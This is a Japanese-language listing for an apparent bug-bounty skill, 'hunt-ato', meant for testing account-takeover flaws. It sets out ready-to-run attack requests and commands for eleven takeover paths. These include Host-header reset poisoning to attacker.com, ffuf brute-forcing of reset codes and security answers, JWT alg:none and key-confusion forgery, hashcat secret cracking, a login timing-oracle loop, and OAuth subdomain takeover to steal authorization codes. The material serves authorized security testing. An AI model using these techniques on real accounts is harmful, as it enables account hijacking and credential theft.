hunt-ato について
hunt-atoは、アカウント乗っ取りを調査するセキュリティ研究者向けのスキルです。パスワードリセット、トークン、JWT、メールアドレス変更、認証フローのテスト方法を整理し、2つ目のテストアカウントでの一連の検証を重視します。
主な機能
- 01アカウント乗っ取り経路の分類
- 02パスワードリセットとトークンのテスト方法
- 03JWT操作とメール変更の確認
- 04乗っ取りを一連で検証する手順
- 05被害者の操作要件に応じた重大度区分
活用シーン
- 01リセットリンクがHostヘッダーを信頼するか検査
- 02リセットトークンの強度と有効性の確認
- 03メール変更に再認証が必要か評価
- 042つ目のテストアカウントの乗っ取りを検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-atoインストール後、Claude Code で/hunt-atoを入力して読み込まれたか確認します。
詳細
13. ATO — アカウント乗っ取りの分類
9 つの異なる経路があります。ATO は単一のバグではなく、到達先の分類です。以下の各経路は、攻撃者 A のセッション/IP/デバイスから、自分が管理していない 2 つ目のアカウント(テストアカウント B)の乗っ取りを実証した場合にのみ、Critical となるプリミティブです。自分のアカウントから締め出されるだけの経路や、被害者のパスワードとセッションをすでに持っている場合にのみ機能する経路は、単独の ATO ではありません。
Path 1: パスワードリセットのポイズニング(Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
[email protected]
リセットメール送信機能がリクエストの Host ヘッダーからリンクを生成するため、リンクが attacker.com/reset?token=XXXX を指します。確認方法=OOB。レスポンスベースではありません。 ヘッダーに Burp Collaborator/一意の DNS 名を指定し、実際のメールを読みます(テストには、自分が所有する管理下の被害者 B の受信箱を使用してください)。Collaborator ホストに届いたメール本文にのみトークンが含まれていれば、これが証拠になります。
誤検知を排除するポイント: 多くのアプリはメール内に attacker.com を記載しますが、実際のリンクのドメインはサーバー側で固定されています。ヘッダーへの反映から推測せず、メールを読んでください。
Path 2: Referer 内のリセットトークン/オープンリダイレクトによる漏えい
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
リセットページが、URL にトークンを含んだオープンリダイレクトへ 302 リダイレクトするケースもテストしてください。証拠: Network タブで外向きリクエストをキャプチャするか、オリジン外のホストを管理している場合は Collaborator でキャプチャし、Referer にトークン全体が含まれていることを示します。Referrer-Policy: no-referrer と POST ボディ内のトークンによって軽減できます。これらがないことを記録してください。
Path 3: 予測可能/脆弱なリセットトークン
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
手順: 被害者 B のトークンを自分でリクエストし(B は自分が所有)、サンプルを取得してからエントロピーを確認し、続いて新たな総当たりで成功することを示します。/forgot-password のレート制限のみを指摘しても、通常は却下されます。影響はリクエストの大量送信ではなく、トークンの推測です。
Path 4: 有効期限なし/再利用可能/アカウントをまたいで使えるトークン
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: 再認証なしのメールアドレス変更
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"} # no current_password, no OTP, no email-confirm
現在のパスワード確認も旧アドレスへの確認リンクもなしに変更が反映される場合、パスワードリセットを実行します。リセットメールが攻撃者のメールボックスに届き、ATO が成立します。最も深刻な亜種では、新アドレスの確認すら不要です。典型的なパターンは、再認証がないためにアカウント連携/メールアドレス変更から ATO に至るものです。
Path 6: JWT の改ざん
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
この種の脆弱性を裏付ける既知の事例: CVE-2015-9235(node jsonwebtoken <4.2.2 — alg 混同/none バイパス)、CVE-2016-10555(jwt-simple RS256→HS256)。検証: 偽造したトークンが、被害者 B として特権エンドポイント(例:GET /api/admin または GET /api/users/B)に到達する必要があります。デコードや偽造だけでは影響の証明になりません。B の ID で認可された操作が行われることが必要です。サーバーが偽造された sub を無視してセッション Cookie を参照している場合、JWT は信頼境界ではないため、報告対象となる問題はありません。
Path 7: ステップアップ認証なしのパスワード変更+ログインオラクル
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf '%s\t%s\n' "$t" "$p"
done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
ステップアップ認証なしでパスワードを変更できるエンドポイントは、持続性を高める要因です。Cookie の窃取(一時的)とこれが組み合わさると、攻撃者は盗んだ Cookie から新しいパスワードを設定でき、あらゆるデバイス/IP から B を乗っ取れます。被害者はアカウントから締め出されます。誤検知の確認: 現在のパスワード/MFA による確認が本当にないことを確かめてください。多くの API はこのフィールドを任意として受け付ける一方、サーバー側では 403 を返します。フィールドなしで再送し、実際に状態が変化することを確認してください(クリーンなブラウザーから新しいパスワードでログインしてみてください)。
Path 8: ソーシャルリカバリー/秘密の質問の悪用
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
-w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
offensive-osint と組み合わせてください。「秘密」の答え(出生地、ペット、学校など)の多くはソーシャルプロフィールで公開されているため、総当たりは不要です。検証: アカウント B でセッションを取得するまで、リカバリーフローを最初から最後まで完了してください。
パス 9:OAuth redirect_uri における SSO サブドメイン乗っ取り
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com # CNAME -> nonexistent-app.herokuapp.com (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
確認方法=OOB: 認証 code(またはインプリシットフローの access_token)が、申告したホストに実際に届く必要があります。サーバー側で記録し、B のトークンと交換してください。オリジン外の値を単に反映するだけで、コードがサーバーに固定された交換処理を経由する redirect_uri は、悪用できません。エラーボディは部分文字列ではなく JSON としてデコードしてください。AADSTS50076 やクレームチャレンジのレスポンスには、クレームフィールド内に文字列 access_token がそのまま含まれていますが、これは使用可能なトークンではありません。
パス 10:アカウント作成前/未認証アカウントの乗っ取り
被害者のアカウントが保留中/未認証状態にあります(招待が承認されていない、登録メールが未確認、またはメールアドレスが登録されていない状態です)。まずそのアカウントを取得します。管理下にあるメールアドレスをその ID に登録または紐付けてから、被害者に SSO/OTP でのログインを完了させ、攻撃者が仕込んだ状態を引き継がせます。または、自分のメールアドレスを紐付けた後にリセットを実行します。招待/保留中のフローや、確認済みのメールアドレスがないアカウントにメールアドレスを書き込むエンドポイントをテストし、被害者がサインインした後、仕込んだアカウントにアクセスすることを確認してください。影響度は高く、トークン操作は不要です。報告例:reports/1679734、reports/394329。
パス 11:識別子を悪用したパスワードレス/マジックリンク
列挙可能な識別子(電話番号/メールアドレス)だけでパスワードを設定またはリセットする(あるいはセッションを発行する)パスワードレス登録/マジックログイン/OTP ログインのエンドポイントを調べます。トークンの手順は不要です。*passwordless*、*magic*、*/otp-login、*/signup を探してください。電話番号/メールアドレスだけを指定すると、その ID のパスワードが設定されたり、セッションが返されたりしますか? テスト用アカウント B を電話番号だけで乗っ取って検証し、任意のアカウントに到達できることを識別子の列挙によって証明してください。報告例:reports/143717。
ATO の深刻度判定
- クリティカル — 被害者の操作が不要、またはごくわずか:Host ヘッダーによるリセットのポイズニング、被害者のエンドポイントに対する JWT 偽造、検証が緩い redirect_uri を利用した認証コードの窃取、IDOR を利用したメールアドレス変更からのパスワードリセット。
- 高 — メール内のリンクを 1 回クリックする必要がある、または既存のセッション/Cookie が必要(Referer 漏えい、Cookie の窃取を利用した追加認証なしのパスワード変更)。
- 中 — フィッシングとユーザーの操作が必要(被害者がログイン済みの状態でリンクをクリックする必要がある OAuth リンクの CSRF)。
- 低 — 攻撃者が MitM である必要がある場合、または自分のアカウントにしか影響しない場合。
関連スキルとチェーン
hunt-idor— メールを制御する必要も競合もない、最も信頼性の高い ATO のプリミティブです。チェーンのプリミティブ:攻撃者 A のセッション+被害者 B の UID+{"email":"[email protected]"}を使ってPATCH /api/users/{victimB_uid}を実行 → パスワードリセットを開始 → リセットメールが攻撃者に届く → 完全な ATO、被害者の操作は一切不要(Path 5 + IDOR = Critical)。hunt-mfa-bypass— Path 7 が Critical になるのは、MFA もバイパスする場合に限ります。チェーンのプリミティブ:パスワード変更エンドポイントが、現在のパスワードの確認も MFA の追加認証もなしで新しいパスワードを受け入れる → Cookie の窃取(XSS / トークン漏洩)+ ログインタイミングオラクル → 盗んだ Cookie から新しいパスワードを設定 → 任意の IP/デバイスから MFA なしで ATO。hunt-oauth— Path 9 はここで扱います。チェーンのプリミティブ:redirect_uriの検証でサブドメインとの一致(*.target.com)が許可される +hunt-subdomainによってstaging.target.comの放置された CNAME が見つかる → Heroku/S3 でそれを取得 → OAuth コールバックをホスト → 被害者が細工された認可 URL をクリック → 認可コードが攻撃者のサブドメインに届く → トークンと交換 → ATO。OAuth エラーのレスポンス本文は必ず JSON として解析し、access_tokenの部分文字列一致は決して使わないでください。hunt-api-misconfig— Path 6(JWT)の詳細もここで扱います。alg:none、RS256→HS256 の鍵の混同(JWKS の公開鍵を HMAC シークレットとして使って署名)、kidのパストラバーサル/SQLi、弱いシークレットの解読(hashcat -m 16500)です。JWK→PEM 変換の仕組みを使うには、このスキルと一緒に読み込んでください。hunt-host-header— Path 1 の標準的なプリミティブです。チェーンのプリミティブ:Host/X-Forwarded-Host: attacker.comを指定してPOST /forgot-passwordを実行 → メーラーがリクエストの Host からリンクを生成 → リンクがattacker.com/reset?token=XXXXを指す → 被害者がクリック → トークンが漏洩 → ATO。反映されたヘッダーではなく、Collaborator がホストするドメインで実際のメールを受信して確認してください。offensive-osint— Path 8 の効果を大きく高めます。セキュリティ質問の答え(出生地、ペット、最初に通った学校、母親の旧姓)の大半はソーシャルプロフィールから OSINT で特定できるため、ブルートフォースを一切行わずにアカウント B を復旧できます。security-arsenal— パスワードリセットのバイパステーブル(X-Forwarded-Host、X-Host、X-HTTP-Host-Override、デュアル Host スマグリング)、トークンエントロピーのペイロード(連番の数値、時間ベースの予測可能な値)、JWT 攻撃テーブル、および「/forgot-password のレート制限」に関する報告で常に却下されるケースの一覧を参照してください。triage-validation— 被害者がリンクをクリックし、認証情報を入力し、さらに CAPTCHA を通過する必要がある ATO を Critical と主張する前に、重大度判定ゲートを実施してください。再現性の確認手順(攻撃者 A のセッションからテストアカウント B を乗っ取るまでの、10 分間の新規ブラウザーでのウォークスルー)によって、Critical として有償で扱われるものと、Self-XSS レベルとして却下されるものを区別できます。